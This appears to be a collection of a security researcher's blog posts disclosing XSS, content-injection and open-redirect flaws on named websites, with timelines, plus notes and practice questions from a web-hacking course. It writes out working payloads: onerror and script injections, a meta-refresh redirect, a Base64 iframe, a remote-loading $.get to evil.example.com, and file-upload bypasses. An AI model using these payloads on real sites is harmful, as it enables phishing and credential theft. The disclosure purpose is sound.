All I need to do is add something like this into my site's source code:

<link rel="monetization" href="https://wallet.example.com/edent">

A user who has a WebMonetization plugin can then easily pay me for my content.

But not every website is created by an individual or a single entity. Hence, the creation of the "Probabilistic Revenue Share Generator".

Probabilistic revenue sharing is a way to share a portion of a web monetized page's earnings between multiple wallet addresses. Each time a web monetized user visits the page, a recipient will be chosen at random. Payments will go to the chosen recipient until the page is closed or reloaded.

Nifty! But how does it work?

Let's say a website is created by Alice and Bob. Alice does most of the work and is to receive 70% of the revenue. Bob is to get the remaining 30%. Within the web page's head, the following meta element is inserted:

<link
   rel="monetization"
   href="https://webmonetization.org/api/revshare/pay/W1siaHR0cHM6Ly9leGFtcGxlLmNvbS8iLDcwLCJBbGljZSJdLFsiaHR0cHM6Ly93aGF0ZXZlci50ZXN0LyIsMzAsIkJvYiJdXQ"
/>

The visitor's WebMonetization plugin will visit that URl and be redirected to Alice's site 70% of time and Bob's 30%.

If we Base64 decode that weird looking URl, we get:

[
   [
      "https://example.com/",
       70,
      "Alice"
   ],
   [
      "https://whatever.test/",
       30,
      "Bob"
   ]
]

Rather than adding multiple URls in the head, the site points to one resource and lets that pick who receives the funds.

There are two small problems with this.

The first is that you have to trust the WebMonetization.org website. If it gets hijacked or goes rogue then all your visitors will be paying someone else. But let's assume they're secure and trustworthy. There's a slightly more insidious threat.

Effectively, this allows an untrusted 3rd party to use the WebMonetization.org domain as an open redirect. That's useful for phishing and other abuses.

For example, an attacker could send messages encouraging people to visit:

https://webmonetization.org/api/revshare/pay/W1siaHR0cHM6Ly9leGFtcGxlLmNvbS8iLDk5LCJpbWciXV0

Click that and you'll instantly be redirected to a domain under the attacker's control. This could be particularly bad if the domain encouraged users to share passwords or other sensitive information.

If the Base64 data cannot be decoded to valid JSON, the API will echo back any Base64 encoded text sent to it. This means an attacker could use it to send obfuscated messages. Consider, tor example:

https://webmonetization.org/api/revshare/pay/W1siUGxlYXNlIHZpc2l0IFJlYWxfZ29vZF9DYXNpbm9zLmJpeiBmb3IgbG90cyBvZiBDcnlwdG8gZnVuISEhIiwxMjM0NTYsImltZyJdXQ==

Visit that and you'll see a message. With a bit of effort, it could be crafted to say something to encourage a visitor to enter their credentials elsewhere.

When I originally reported this, the site could be used to to smuggle binary payloads. For example, this URl would display an image - however, it seems to have been fixed.

Nevertheless, it is important to recognise that the WebMonetization.org domain contains an unvalidated redirect and forwarding vulnerability.

I recommended that they ensured that the only URls which contain legitimate payment pointers should be returned. I also suggested setting a maximum limit for URl size.

Timeline

• 2025-03-27 - Discovered and disclosed.
• 2025-08-05 - Remembered I'd submitted it and sent a follow up.
• 2025-08-26 - Automatically published.
• 2025-08-27 - A day after this post was published, the issue was made public on their repo.
• 2025-09-10 - Confirmed fixed.

Somehow I screwed up my configuration, and when I visited edent.codeberg.page/abc123 I got this error:

Now, whenever I see something from the request echoed into the page's source, my hacker-sense starts tingling. What happens if I shove an innocent HTML element into the URl?

edent.codeberg.page/abc<em>123

Aha! It lets through some HTML. I wonder which other elements it lets through? Let's try...

edent.codeberg.page/abc<img src="https://placecats.com/640/640">123

Ah nuts! Let's look in to the source code to see what went wrong:

It seems that the back end code has some protection. It strips all / characters. That makes it impossible to inject a working <script> element because there will never be a </script> to close it.

We can't even use my favourite little trick of Base64 encoding the contents of an <iframe>:

<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTISIpOzwvc2NyaXB0Pg==">

Manually removing the / led to this:

No forward slashes makes things like <svg> injection difficult - if not impossible. Hmmm... what can we do...? I know!

The onerror event handler.

test.codeberg.page/abc<img src=1 onerror=alert("xss") ;

Boom!

Let this be a lesson to you - always sanitised user-supplied content, no matter how innocuous it seems.

Timeline

• 2022-12-02 Discovered. Emailed support, got a secure address to email, sent disclosure.
• 2022-12-05 Tested and discovered that it had been fixed.
• 2023-01-02 Blog post automatically published.

You know how this goes by now. You type into a search box <em>test and the whole page suddenly turns italic. Luckily, the Macmillan Publishers' website filtered out any <script> elements it encountered. But that still leaves the attacker with the ability to draw SVGs over the page or, more maliciously, start harvesting usernames, passwords, and credit card details from unwary visitors.

Here's a quick example of what an attacker could do:

It doesn't stop with being able to deface the page, of course. Being able to inject a <meta> element allows an attacker to instantly redirect the user to a different page:

<meta http-equiv="refresh" content="0;url=https://example.com" />

Which, when encoded, looks like:

https://us.macmillan.com/?q=%3Cmeta%20http-equiv%3D%22refresh%22%20content%3D%222%3B%20url%20%3D%20https%3A%2F%2Fexample.com%22%20%2F%3E

We can go even further. An <iframe> can be injected. And, to bypass any filtering on the server side, its src can be Base64 encoded:

<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTISIpOzwvc2NyaXB0Pg==">

Which results in:

Macmillan don't have a publicly available security.txt contact - so I dropped them an email. Their website was built by Supadü who also don't provide a dedicated way for security researchers to contact them - so another email was sent off.

Timeline

• 2022-05-08 Discovered. Contact messages sent to Macmillan and Supadü.
• 2022-05-11 Reported via OpenBugBounty.
• 2022-06-07 Tried to make contact via Twitter.
• 2022-06-12 Emailed the web developer with details.
• 2022-07 Several more emails to Macmillan and and Supadü. No response.
• 2022-07-26 I noticed that the issue had been fixed. I asked Supadü if they offered a bug bounty. Their response was "No absolutely not". Well, that told me!
• 2022-08-10 Automatically published.

Anyway, the website https://play.starwars.com/html5/starwars_crawlcreator/ allows users to create their own "Star Wars" style crawl. It's a fun little site - but it has a few flaws.

Whenever you let people enter content which is displayed back on the screen, there's a possibility that they'll be able to add unwanted content. The website had a basic swear filter - but other than that it didn't sanitise any user content. Which meant a user could paste in some Javascript and have it execute - like this:

That's bad - but not too bad. The user can only run the JS against themselves. What if there were a way to send a victim a link to that specific crawl and have the JS execute on the target's machine?

Aha! The evildoer can stuff a load of malicious Javascript in the crawl and then post it to social media.

Except, thankfully / sadly, that doesn't work. As you might be able to tell from the Google+ option, this is a very old site. When a crawl is created, it is meant to be saved with a unique ID via a storage API. That API is hardcoded to play.starwars.com/api/storage/v1/crawlcreator - but is no longer functional.

So that vector is banjaxed? Not quite! The unique ID is passed as a GET parameter cid. It's usually a long string of random numbers, for example ?cid=123456. The code to read the cid is:

var get = new XMLHttpRequest();
get.open('GET', App.simpleStorage+'/'+cid);

Usually, that would make an HTTP request to play.starwars.com/api/storage/v1/crawlcreator/123456

What if it is passed something other than a number?

Passing ?cid=/../../../../../../../../../example/ fires off a request to play.starwars.com/example/ - a successful directory traversal attack. But, unless there's a stored bit of vulnerable JS somewhere else on play.starwars.com, a bit useless.

Digging around the site shows that it runs an ancient version of jQuery - v2.0.3. That specific version is vulnerable to some nasty exploits. It will execute any JS it receives - so running something like:

$.get('https://evil.example.com/xss')

Will immediately run code loaded from elsewhere.

Could these be chained together to craft a dastardly exploit? I certainly couldn't see a way to do it. But, as I am a goodie, I reported it via HackerOne. At the very least, I thought it would be useful for Disney to know that the site needed updating.

HackerOne swiftly evaluated the issues and - probably quite rightly - closed it as a self-XSS.

I think it's useful to blog about one's failures as well as successes. This didn't lead down a path which earned me a stonking Bug Bounty, but it was an interesting exercise to see just how far an outdated site can be compromised.

Verdicts

Some of the lab tasks were impossible without looking at the cheat sheet. I got stuck on one because the question told me to go to one URl, but I had to guess the one which was vulnerable. Felt like a bit of a "gotcha" moment. Perhaps in a proper lab environment it might have made more sense - but because we're mostly just learning how to use tools, I wasn't really prepared to use my critical thinking skills!

Only a half day, again. Good discussion of XSS and CSRF - but only a surface discussion of what they can do and how to prevent them. That's the problem with these sorts of courses - they can only say "sanitise user input", they can't explain how to do it for every environment.

SQL Injection. Good length of session. The standard Little Bobby Tables joke. And quite focused on Burp Suite and SQLMAP. A small bit on preventing them with parametrised queries.

CIA triad was briefly mentioned - but not really discussed. I would have expected more on that as it is fairly fundamental.

XXE. Malicious XML files. Billion Laughs Attack was (very) briefly covered.

Web shells from insecure file upload. A few tricks on how to fool UGC checkers. But not too much on defending.

The object serialisation stuff seemed a bit obscure. Not sure how relevant that is to the real world - but interesting none the less.

In the end, my overall verdict is that this is a good practical course. But because it covers so much, and spends so long setting up environments, it only gives a brief overview. It's rather geared towards specific tools - and that means lots of syntax memorisation for the exam.

The Exam

I fucking hate exams. There are very few times in life where you have a hard deadline, no one to help, and no ability to consult external sources.

Because of the intrusive spyware used on their proctoring system (more on that tomorrow), I'm going to have to go to a test centre to take the exam.

The exam gives 70 minutes to complete 50 multiple choice questions. 50% needed for a pass mark. That seems achievable. But it really depends on how many Windows questions there are, and how many ask me to precisely remember command line options.

Practice questions

The first time I scored 10/10. I know this stuff ☺

1. John has run dirbuster against a target website looking for possible pages to investigate and receives the following results. What does the 401 response mean?
   • HTTP 401 response means that the page is not available
   • HTTP 401 response means that the server has returned an internal error
   • HTTP 401 response means that the client should use the version in its cache
   • HTTP 401 response means that the resource is available, but requires authentication credentials to be able to be accessed
2. What port does BurpSuite use by default?
   • 80
   • 4444
   • 8888
   • 8080
3. What file is commonly used to inform search engines about the folders/files they are forbidden to index?
   • robots.txt
   • index.html
   • search.csv
   • spider.txt
4. Sally wishes to retrieve all the pdf documents from targetsite.com. Which of the following Google Dorks would satisfy that demand?
   • intitle:index_of *.pdf location:targetsite.com
   • site:targetsite.com filetype:pdf
   • pdf domain:targetsite.com
   • targetsite.com filetype:pdf
5. Connor is experimenting with a XSS vulnerability on a website. He uploads the following script but gets no response. What is the issue here? <script>alert(XSS);</script>
   • The syntax should be <script>alert("XSS");</script>
   • The syntax should be <script alert("XSS); />
   • syntax should be <script>alert="XSS";</script>
   • syntax should be <script>display.alert("XSS");</script>
6. Fiona has identified a vulnerable web app that allows her to perform SQLi. She wants to identify what database is behind the web app. What SQLi command would allow Fiona to get this data?
   • SELECT @@information_schema --
   • @@version --
   • @@database --
   • @@schema--
7. Jonas has identified a vulnerable web app that allows SQLi. He is using SQLMap to explore the system. What command should Jonas use to enumerate the available databases on the server?
   • --database
   • --layout
   • --dbs
   • --db
8. Which of the following file uploads should you prohibit if you wanted to ensure no-one can upload malicious files to your webserver?
   • file.asp:.jpg
   • file.php.jpg
   • php%00.jpg
   • All of them
9. True or False, SSL v3.0 offers better encryption than TLS v1.2
   • True
   • False
10. Complete the sentence... HTTP is classed as a ________ protocol
    • secure
    • stateless
    • web 2.0
    • dynamic

Notes

XSS. Recap. Can be from HTTP headers, cookies, and other weird things - not just GET. Can persist on the server.

Impact - phishing, hijack cookies, use browser exploitation, BitCoin mining.

Bug bounties available.

How not to prevent. Don't use blacklist regex - easy to bypass. XSS can work without script tags, eg onmouseover. UTF-7 encoding, URL encoding.

CSRF - cross site request forgery. Not stealing cookies and credentials. Force the user's browser to connect to a previously authorised site. Session Riding or Confused Deputy. Eg craft a link which forces the user to change their password on a different site. Relies on predictable patterns. Use of random tokens per request - which are then verified. Tokens shouldn't be reusable.

SQL injection. Can take input from the user, no filtering, pass requests directly to the DB. Good way to exfiltrate data - or even destroy it. Use of single quotes, boolean operators, balancing syntax.

Error based SQLi - see the stack trace etc from error messages. UNION operator - concatenate multiple queries - first legit, 2nd malicious. Blind - you can't see the results. Time Based - if my request is OK, sleep for 5 seconds. Out of Band - rare, depends of privileges being enabled when they shouldn't be.

String vs integer.

Select X from Y where Z UNION SELECT @@version--

Metadata table - information_schema

Pentest Monkey cheat sheets.

Concatenate results.

UDF - user defined functions to run code on machine. Local File Access. Create web shell by browsing to maliciously uploaded code.

Use of ASCII values rather than quoted strings. Blind injection - observe the difference in what is returned by a true or false query.

Principle of least privilege. Make sure the website can only read. A separate trusted process to write. root and sa(?) shouldn't be enabled from the web.

SQLMAP tool. Use of, find vulns, get tables, set up proxy to Burp.

Defend using input validation - blocklists not enough. Paramatise the SQL. ORM(?) Object-relational-mapping Frameworks. Principle of Least Privilege. Don't roll your own!

CIA (Confidentiality, Integrity, Availability)

XXE to get /etc/passwd - weakly configured XML parser. Anything which accepts user-created XML could be vulnerable. Very common on SOAP.

Insecure file upload. Get Web Shell. Filenames can have XSS. Distribute malware or warez.

%00 null byte to avoid extension check file.php%00.jpg

Change content type header - send a .php file as image/jpg. Fiddle with magic bytes. malicious.asp;jpg on IIS. Or file.php.jpg

WebDAV and Put might be available.

WebShell provides a web interface to the OS level commands. What context are you running in? Might not be root. Upload and download. Execute SQL. Kali stores them in /usr/share/webshells

C99 Shell - and other tools. Hacking tools are often backdoored. The creator has access to the shell you've created.

EICAR test to see if anti-malware is running. Change MiMe type when uploading. Is JS checking for file types?

Validate headers and MIME. Check file size. Don't rely on client side - always server side. Only upload to web root. Rename files after upload. Upload to temporary, then virus scan. Change the extension. Restrict folder permissions.

Serialise / Deserialise.

Take PHP, serialise it to an object. PHP warms of passing untrusted user input to unserialize. JSON is better than serialised objects. Must use magic method to attack (??) eg __construct() Trying to force the server to gadget chain??

pickle.load in Python. Marshal.load() in Ruby. Allow list for the things you want to serealised. Some firewalls

Use !ENTITY (variables). Inject external XML files. Calls to SMB servers to get NTLM hashes. Then SMBRelay to pass the hash. Using PSexec. Back to Windows ☹. Disable XXE in the parser - or have very strict allow-lists.

This XSS was slightly unusual. When a user submits HTML to a site search, it should be escaped before echoing it back on the screen. And that's exactly what Getty Images does:

Except!

It only does that if there were no results found.

If a malicious user can craft a search term that returns results, then HTML is passed unescaped:

So - take care if you're using the Getty Images websites. Be cautious if it asks you for your financial or personal data. It is possible that the information you're seeing has been manipulated by an adversary.

Timeline

• 2021-06-17 Discovered on the Getty Images Norway site, replicated on the UK site. Contacted via Twitter as they have no publicly listed security contact. Responsibly disclosed via OpenBugBounty
• 2021-06-23 Used HackerOne's Disclosure Assistance programme to see if that would prompt a response.
• 2021-07-12 Tried contacting via LinkedIn and the general contact form on their website. Made several attempts over the month.
• 2021-07-29 Direct email to security employees at Getty Images.
• 2021-08-17 Blog post automatically published.

The [REDACTED] website had a subdomain which was running KANA's IQ software which was last updated in 2010. At least, that's judging by the fact it ran jQuery 1.4.4. Most routes into the site redirected properly to their modern website. But a few pages remained accessible. And, sadly, one of those pages was vulnerable to a rather boring XSS flaw.

Posting 'onmouseover="alert('xss')" to a specific page was enough to rewrite its HTML, and produce this:

Now, POSTed XSS are harder to exploit, and relying on the user's mouse to interact with the page makes it less likely to trigger. But, with sufficient determination, an attacker could craft malicious content which could phish the user or otherwise display unwanted content.

Unfortunately, that's about all I can say. When I asked to publicly disclose, I got this in response.

Timeline

• 2021-07-06 Discovered. Asked for a VDP on Twitter and their public security centre.
• 2021-07-07 [REDACTED]'s CERT invited me to their private BugCrowd programme. Bug disclosed.

Terence Eden is on Mastodon

@edent

Why do I only every find XSS vulnerabilities in websites with no VDP or bug bounty?

*sigh*

(I mean, because obviously if they treated security seriously, they wouldn't have these trivial flaws.)

---

Terence Eden is on Mastodon

@edent

Replying to @edentWhat's the point of a *private* VDP?

I looked on HackerOne and BugCrowd, couldn't find anything, so emailed the company's CERT.

"Oh, you have to be invited to our TOP SECRET programme!"

Just... why? Why make it harder for people to report problems to you?

---

• 2021-07-09 Triaged as P4. US$100 bounty and 5 BugCrowd points
• 2021-07-13 Payment received. Request to disclose.
• 2021-07-20 I noticed the vulnerability had been fixed.
• 2021-07-29 Request to disclose again. Refused!
• 2021-08-07 Published on this blog

Taxi app Gett had a content injection flaw in its search function. By searching for an HTML string, it was possible for an attacker to add links or images to a page. It was really hard to contact them - but the threat of media attention sprung them into action.

For example, searching for a specially crafted string meant that an arbitrary SVG could be drawn onto the page like this:

Or just a regular <img> element:

Links could also be added - like this: That would have allowed an attacker to bypass email spam filters, by sending links which apparently went to a trusted site. It's also useful for search engine poisoning.

Similarly, the entire page could have been rewritten if the attacker crafted the right sort of HTML and CSS.

Luckily, the form rejected and <script> and <iframe> tags, so an attacker couldn't have run malicious code.

But it would have been possible to craft a page like this to harvest people's payment details: That form can POST data to any external website.

This was an unusual find, because Gett are running a updated WordPress site. I can only assume their custom theme caused this flaw.

Timeline

Gett don't have a security.txt file, or an obvious bug bounty. So I resorted to my tried-and-true tactic of finding an employee on LinkedIn and trying to connect with them.

• 2021-04-16 Discovered, validated, and immediately contacted Gett via LinkedIn, email, and Twitter. No response.
• 2021-04-17 Contacted a few random employees on Twitter to see if they knew of a security contact. No response.
• 2021-04-20 A friend-of-a-friend got me in touch with the CEO. I explained the issue as best I could. No response.
• 2021-04-21 Tried contacting customer service again. No response.
• 2021-04-26 Contacted a security journalist who then contacted Gett's PR team. A couple of hours later I had a response from the Gett Security team. Funny that! I disclosed all my findings and asked for a 30 day publication window.
• 2021-04-27 Validated as fixed. I was offered a $100 gift card in return for not publishing this post. I respectfully declined.

Sign Up Bonus!

As there was no formal bug bounty, I'm making my own one! Visit b.gett.com/icuk?coupon=GTPAQYZ on your mobile and we both get a discount on our next few taxi rides with Gett.

A brief recap... Most websites have a search function. If you search for something which cannot be found, the site will often say "No results found for XYZ."

If we can convince the search engine to spit out HTML, we can inject malicious content into the page.

This is usually done by searching for something like <script>alert("h4X0r");</script>
Three's website detects script elements as hostile and refuses to serve them back.

But, curiously, it does allow some HTML elements through. The <u> underline element, for example.

It wouldn't allow <img> or <video> or most other troublesome content. But I was surprised to see it let through SVG (Scalable Vector Graphics). This means some minor naughtiness can be had!

Doing a search for

<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 128 128" width="128px"><circle cx="64" cy="64" fill="#006add" r="64"/>

Results in a big blue circle being drawn on the page. ...and that's when I stopped and tried to find someone to report it to!

Why is this a problem?

Drawing a circle is not malicious. But SVGs are complex. They can store intricate graphics.

Because the search parameter is sent in the URL - http://www.three.co.uk/Search/?q=<svg... - it would be easy for a spammer to send a message saying "Click here for great deals on Three!!!" and then use the SVG to draw a graphic encouraging the hapless user to visit a malicious site.

Or they could create a form to phish users' details. Or... Well, use your imagination.

Reporting it to Three

*sigh* Three don't publish any security contact details. Nor do they participate in any bug bounties that I could find.

I reached out to my friends in the mobile industry - because I didn't have much faith in reporting it via Twitter...

Kieran

@REALSgtBrdStk

Replying to @ThreeUKSupport@ThreeUKSupport your site "three.co.uk" is showing up as 'Not Secure' and there's no valid SSL Certificate for the site. So it will appear as this. pic.x.com/0trepindah

---

ThreeUKSupport

@ThreeUKSupport

Replying to @REALSgtBrdStk@REALSgtBrdStk don't worry, if you go to any pages where you need to enter any personal details or sensitive info the webpage will be https secure ☺🔐 >KH

---

Eventually a friend of a friend sent me a security email address which Three do not publicise. I fired off a quick disclosure and was pleasantly surprised at how seriously they took the issue.

Timeline

• 2019-08-22 - Discovered and disclosed. Got a reply in under an hour that it was being looked at and that a 90 day disclosure was fine.
• 2019-09-20 - Three informed me the issue was fixed, which I verified. They offered to send me a token of their appreciation in lieu of a formal bug bounty.
• 2019-09-22 - Bug Bounty delivered! Big ol' box of chocolates!

I'd like to discuss ArtChain.info - "Certifying Art Using the Bitcoin Blockchain" - and the some of the security issues I found there.

XSS

This is one of those simple bugs which every web developer should be aware of and be able to defend against. A site should properly escape untrusted content.

ArtChain allowed anyone to register on the site and set their name to some JavaScript code. This meant visitors to the website would automatically run an attacker's code.

Here's a simple demo. A user registers with the name <script>alert("xss");</script>. Every visitor to the site now receives this pop-up.

It could be a lot worse. This simple demonstration is not malicious. An attacker could craft a script which phished for user credentials, tried to hijack the administrators' cookies, or mined cryptocurrency. In short, a user or administrator could not trust the content on the page.

This was the site owner's response to my investigation.

What Howard fails to realise is that it doesn't matter that his platform is based on the BitCoin BlockChain. If an attacker can add malicious JavaScript to his site, then steal his credentials, it's game over. The indelible nature of the BlockChain means that malicious or incorrect content stays there forever - losing control of your keys is a disaster.

There's also the issue of trust in the website. If an attacker can rewrite the page - even temporarily - they could convince users to transfer money, ownership, or attention elsewhere.

When you view content on ArtChain, you have no way of knowing whether it is official or hacked. When the site displays a BitCoin address, it could be ArtChain's - or it could be an attacker's.

Error Messages

Again, it is basic security to make sure that your error messages don't leak sensitive information. Going to an invalid URL should result in a user-friendly message. In this case, we can see that the site is written in PHP, the username of the account, and the structure of the codebase. Not critical problems, but it points to an underlying problem with the quality of the code.

The owner's response was succinct.

I don't think it is sensible for a site owner to blame users for problems on the site. The ArtChain site was broken - simply mistyping a URl allows anyone to see that.

When dealing with millions of dollars worth of assets, your code has to be rock solid. If basic errors like this occur on the website, it is only natural to wonder about the code used to write information to the BlockChain.

What is securing ArtChain's private keys? If it is code of this quality, then it is hard to trust the data which they sign.

Other issues

A quick look around the site shows that it loaded JavaScript and CSS from an external CDN. But it didn't use SubResource Integrity.

While there are some slight speed advantages in using a CDN, it means that the website owner has to trust the CDN provider. Without SRI, it's impossible for a user to know if the external scripts have been modified.

Effectively, this means if an attacker can compromise the CDN, they can completely control the page. SRI is a simple way to prevent that. The recent MageCart vulnerability shows the danger of relying on external JavaScript.

Outdated libraries. The site had an older version of BootStrap which has a known vulnerability.

Directory listing was enabled. This means users can see the list of files present on the webserver. Using this, we can see that which resources have been uploaded to the server.

Trust but verify

It is hard to know who to trust online. Whenever a new market emerges, it attracts a large number of people.

Users have to critically evaluate the tools they use online. It's easy for us to see a beautiful looking website and assume that it is built on solid engineering foundations - but that's rarely the case. It's hard to educate users to be able to spot sites with dangerous flaws.

As a community, we have to do a better job of making good security the default user experience.

Play nicely

Civility and respect are sometimes the best weapons we have in convincing others of our arguments. I try to stay calm and polite when discussing contentious issues online - and I appreciate it when people tell me I could do better.

No one deserves a verbal assault for pointing out security vulnerabilities.

Here's a fun little game for all the family! What is the minimum number of characters required to perform a successful XSS attack?

Let's take an entirely theoretical example - suppose we have a site which echos back user input without sanitising it. So a search for " <em>" turns the whole page italic. ahem

A hacker might think, "Hurrah! Now I can directly inject JavaScript into the page. MWAHAHAHA!"

But wait, young grasshopper, for there is a fly in the ointment. What if the developer of the site saw fit to restrict the number of characters echoed back to a mere 20? (Note, this limitation isn't set by a maxlength attribute, but rather a server-side limitation.) Is that enough for mischief?

20 characters of JavaScript gets us <script>alert(1);</s

That's not even enough to make an annoying pop-up!

How about an iFrame? Load up something dastardly! <iframe src="http://

Hmmm... We can use protocol-relative addresses to save us from having to use "http:" <iframe src=//bit.ly Normally, that wouldn't be enough to do anything with.

Suppose we control a really short domain name like t.co

Aha! Success. Just about. There are an extremely limited number of 4 character domains available - so this is an incredibly unlikely attack vector.

Perhaps we can load a script from an external resource?

<script src=//ab.cd>

Ooof! Again, just about possible if we control a minuscule domain.

If we can send a malicious payload to the user, perhaps via an image, could that work?

The maximum we can use is something like <img src=//a.bc/123>.

So, if we contained a short domain, and were able to host (or redirect to) a malicious file, there's a slim chance of success.

A few people have attempted to find what the Minimum Viable XSS is. The general consensus is that it would take more than 20 characters.

I hope that I have demonstrated two things.

1. If you have the resources to own a short domain, it is just about possible to craft an XSS in 20 characters.
2. Reducing the number of characters your site echos back is not a sensible way to filter out attacks!

Here endeth the lesson.

Responsible Disclosure

I contacted the Ashmolean in January regarding this flaw. It was fixed in early March.

LetsSaveMoney.com is a "money saving" site. It offers discounts on a wide range of products and services, and is financed through affiliate marketing. Links removed, because the site has disappeared.

My Trade Union, Prospect, has just launched a white-labelled "Members' Rewards" based on LetsSaveMoney - that's how I came across this bug.

It's a depressingly familiar story - do a search which includes some HTML and watch it being echoed back to the user.

Once you can get a page to load an external resource, it's game over for security. An attacker can load up JavaScript, prompt the user for their password, display unauthorised images, etc.

I posted a report on XSSposed and alerted LetsSaveMoney via their "Contact Us" form.

Impressively, I received an email back a few minutes later. I provided the details over email and the site was fixed an hour later!

That's an excellent response time.

If you run a website, familiarise yourself with OWASP's Top 10 Web Vulnerabilities. If you're a worker in a high-tech industry, you should consider joining Prospect as your Trade Union.

Bounty

While I neither asked for, nor expected, a reward - I was delighted to receive an Xmas gift hamper as a token of their appreciation. Hurrah!

The Eye has reluctantly been drawn into the digital age. It has a piss-poor website run by the sort of "tired and emotional" gnomes who struggle with concepts like sanitising user input.

EXCLUSIVE

Push this button to see the Eye's new owner...

If that's a decent website, then I'm a banana!

Note: After much persuasion, Private Eye fixed this problem by... errr... Turning off their search functionality completely!

Private Eye spends a lot of time criticising the people working within the Internet Industries. Perhaps they should spend less time examining the mote in others' eyes - and rather more time on the branch in their own?

I did call Lord Gnome's offices several months ago to report the error. The flack who took my call was a "jolly hockey-sticks" type who struggled to turn on her computer and navigate to her employer's website. I've not mentioned her by name - because I'm not a total bastard - but given Ian Hislop's apparent distaste for employing women, there's only a small pool from which to choose.

Ian - perhaps the reason your website is so atrocious is that you piss all over the sort of people who could actually help you. You've run exposés on public- and private-sector websites being vulnerable, so why don't you stop being such a hypocrite and fix your own site?

This flaw was responsibly disclosed to Private Eye and their web team in March 2014. I discussed it with them again in early September to highlight the flaw.

Tom Loosemore

@tomskitomski

Interesting new digital stuff emerging from @CitizensAdvice display-screen.cab-alpha.org.uk <-- uncomfortable, messy, visceral reality @mikedixonCAB

---

who supplies my electricity
why do some children become looked after
will i get back pay on pip

Terence Eden is on Mastodon

@edent

Just saw "What is the punishment in the UK if you steal a person's life savings"
display-screen.cab-alpha.org.uk

---

James Temperton

@jtemperton

Replying to @edent@edent Searches are like a series of tragic micro-stories. "hidden camera in the workplace", "when can i claim income support im pregnant"

---

It was, sadly, deeply insecure.

It's falling foul of one of the most basic security flaws. It blindly echoes a user's input without checking or sanitising it.

There's another potential flaw here. Privacy. Hopefully no one is dumb enough to type in their full name, address, or National Insurance number.

We've know for years that it's possible to reconstruct Personally Identifiable Information from "anonymous" searches.

Can a malicious user look at the searches and identify you? How specific is your issue?

Ask yourself this - how comfortable would you be with every single search you make being projected onto the side of a building?

A few minutes after reporting this, the security flaw was fixed.

Many XSS flaws rely on altering the GET parameters of a request. Some webmasters seem to think that if their forms only use POST they will be immune from the XSS. This is not the case.

Don't Press This Button

Pressing this button will send a POST request to the Department of Education's EduBase website.

Up until yesterday, the site would blindly echo back anything that was sent to it. Which resulted in the page looking something like this:

Code

HTML forms can direct your browser to POST information to any site. It's even possible to hide the data from the user - so all they see is a big button to press.

<form method="post"
   id="quickSearch"
   action="http://www.education.gov.uk/edubase/home.xhtml" >
   <input id="establishmentName.value"
          name="establishmentName.value"
          type="hidden"
          value="<h1>XSS Demonstration</h1>
                 <h2><a href='http://www.teachers.org.uk/campaigns/protect-teachers'>Demo link</a></h2>
                 <img src='https://gs1.wac.edgecastcdn.net/8019B6/data.tumblr.com/tumblr_m811uzuyp91rcq3oko1_500.jpg'/><br />
                 <script>alert('JavaScript XSS');</script>"
   />
   <button>Demonstrate XSS</button>
</form>

Mitigation

Always escape untrusted data! Read the OWASP cheat sheet for more information.

When such a flaw is discovered and then reported, it is imperative that you have a plan to rapidly secure it. It took 27 days to get the fix into production. I've no idea how long it was open for - or how many people exploited it in that time.

In this case, the Department for Education have outsourced EduBase to Texuna - a technology partner. Texuna don't have any secure way for people to report flaws to them and, when notified, struggled to find someone who could take responsibility.

Texuna seemed to me unable to convey the urgency of the situation to the DfE. A complicated public/private partnership with multiple stakeholders seems to mean that there is no way to escalate security issues.

While it is vitally important to thoroughly test security patches, there's also a very real risk involved in leaving a system unpatched.

This is a textbook example of where outsourcing fails. The ideological agenda which promotes the lowest bidder is doomed to failure when a crisis occurs. Responsibility is diffused, no one is empowered to make decisions, and without proper management oversight critical bugs are left unfixed.

Compare and contrast to yesterday's bug. An identical XSS bug in the Parliament.uk website was fixed over a weekend. Because the Parliament team was centralised and highly motivated they were able to accomplish something a "highly trusted partner" could not.

It is not known how many more of Texuna's client's sites are in a similarly unsecured state.

Timeline

• 5th February. Disclosed to Department of Education and their technology partner Texuna.
• 7th February. Disclosed to GovCertUK.
• 12th February. Contacted the TES Newspaper to allow them to report on the story.
• 26th February. According to Texuna a fix released - to be scheduled for production "soon".
• 28th February. Informed Texuna of publication date.
• 3rd March. Fixed.
• 4th March. Published.

A Special Message For Michael Gove

The UK Parliament website is pretty great. It houses a huge amount of historical information, lets people easily see what's happening in the Commons and the Lords, and is run by some really clever people.

That's why it's so depressing to see such a basic error as this XSS flaw in their search engine.

What Is XSS?

Briefly, some websites will let you display or run arbitrary code on them if you input that code in their search box. (It's a bit more complicated than that - but it'll do for an executive summary.)

By searching for the text

<em>test

We can make the rest of the page display in italics.

This is because the page sees the <em> tag and echoes it back as part of the HTML.

What else can we do?

If we want to be cheeky - we can add iframes and YouTube videos onto the page.

So, if the page will display any code we tell it, can we make it run JavaScript? Yes.

Searching for a string like

<script>alert("hello");</script>

Hey presto, we can "decorate" this page with text, images, video, run JavaScript on there - using Firefox.

Now, what's interesting is that the iframe and JavaScript attacks don't work in the Chrome web browser.

Chrome has a reasonably good Anti XSS filter which strips out most JavaScript and iFrames (although it can be bypassed).

However, Chrome and Firefox both let through seemingly benign text formatting tags, as well as the more dangerous image and HTML5 video tags.

Putting It All Together

OK, so we can have a bit of mischief - but is that all that the bad guys can do? No! Even if they can't run JavaScript, they can still run pretty convincing adverts, or direct people to install malware, or a whole host of other nasty things. Because the domain is parliament.uk it carries with it a significant level of trust.

Using XSS a spammer can place an HTML5 video selling their wares with an apparent Parliamentary endorsement. They can add links, images, sound - everything they need for a scam.

Or, perhaps they are evil. They can send an email to every MP saying:

Please Reset your password - visit http://....

Before you know it, they've gathered the Minister for Administrative Affairs' private details and are plundering Sir Humphrey's vaults.

Yeah, the above doesn't look brilliantly convincing - but would you trust your MP to notice the discrepancies?

Mitigating

The simple rule is that you should never ever print out the content that the user has searched for. If you have to, make absolutely sure that you escape all the characters and enforce strict limits on the number of characters returned.

Browsers should get better at detecting this. While Chrome rightly blocks the iFrame and JavaScript - it thinks text, images, and videos are safe. They're not. In the above examples, the XSS code is echoed in the HTML Title, as well as the URL bar. It should be fairly obvious to the browser that this is an unusual state of affairs.

Disclosure

• This XSS flaw was responsibly disclosed to the UK Parliament on Friday 7th February 2014.
• On Tuesday 11th of February they confirmed that a fix had been put in place.
• The UK Government bug bounty was paid on.... Oh... my mistake...

BONUS SATIRE

